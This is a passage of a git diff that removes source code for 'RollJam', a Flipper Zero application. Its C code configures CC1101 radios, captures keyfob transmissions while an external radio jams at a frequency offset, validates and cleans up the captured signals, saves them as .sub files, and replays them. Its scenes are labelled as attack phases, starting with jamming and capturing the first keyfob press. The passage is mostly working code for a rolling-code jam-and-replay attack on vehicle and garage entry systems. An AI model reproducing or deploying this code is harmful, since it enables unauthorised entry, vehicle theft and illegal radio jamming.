CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(g_cap.state == CapDone) return;
g_cap.callback_count++;
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(g_cap.state) {
case CapWaiting:
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
cap_ctx_reset(&g_cap);
if(!app->signal_first.valid) {
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
// ============================================================
// Signal cleanup
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
size_t out = 0;
size_t start = 0;
while(start < signal->size) {
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
}
}
continue;
}
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}
@@ -1,25 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
void rolljam_capture_start(RollJamApp* app);
void rolljam_capture_stop(RollJamApp* app);
bool rolljam_signal_is_valid(RawSignal* signal);
void rolljam_signal_cleanup(RawSignal* signal);
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
-21
View File
@@ -1,21 +0,0 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c
-232
View File
@@ -1,232 +0,0 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
const uint32_t jam_offset_values[] = {
300000,
500000,
700000,
1000000,
};
const char* jam_offset_names[] = {
"300 kHz",
"500 kHz",
"700 kHz",
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}
-158
View File
@@ -1,158 +0,0 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Jam offsets
// ============================================================
typedef enum {
JamOffIndex_300k = 0,
JamOffIndex_500k,
JamOffIndex_700k,
JamOffIndex_1000k,
JamOffIndex_COUNT,
} JamOffIndex;
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
RawSignal signal_first;
RawSignal signal_second;
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
volatile bool raw_capture_active;
} RollJamApp;
@@ -1,9 +0,0 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname
@@ -1,27 +0,0 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;
@@ -1,126 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
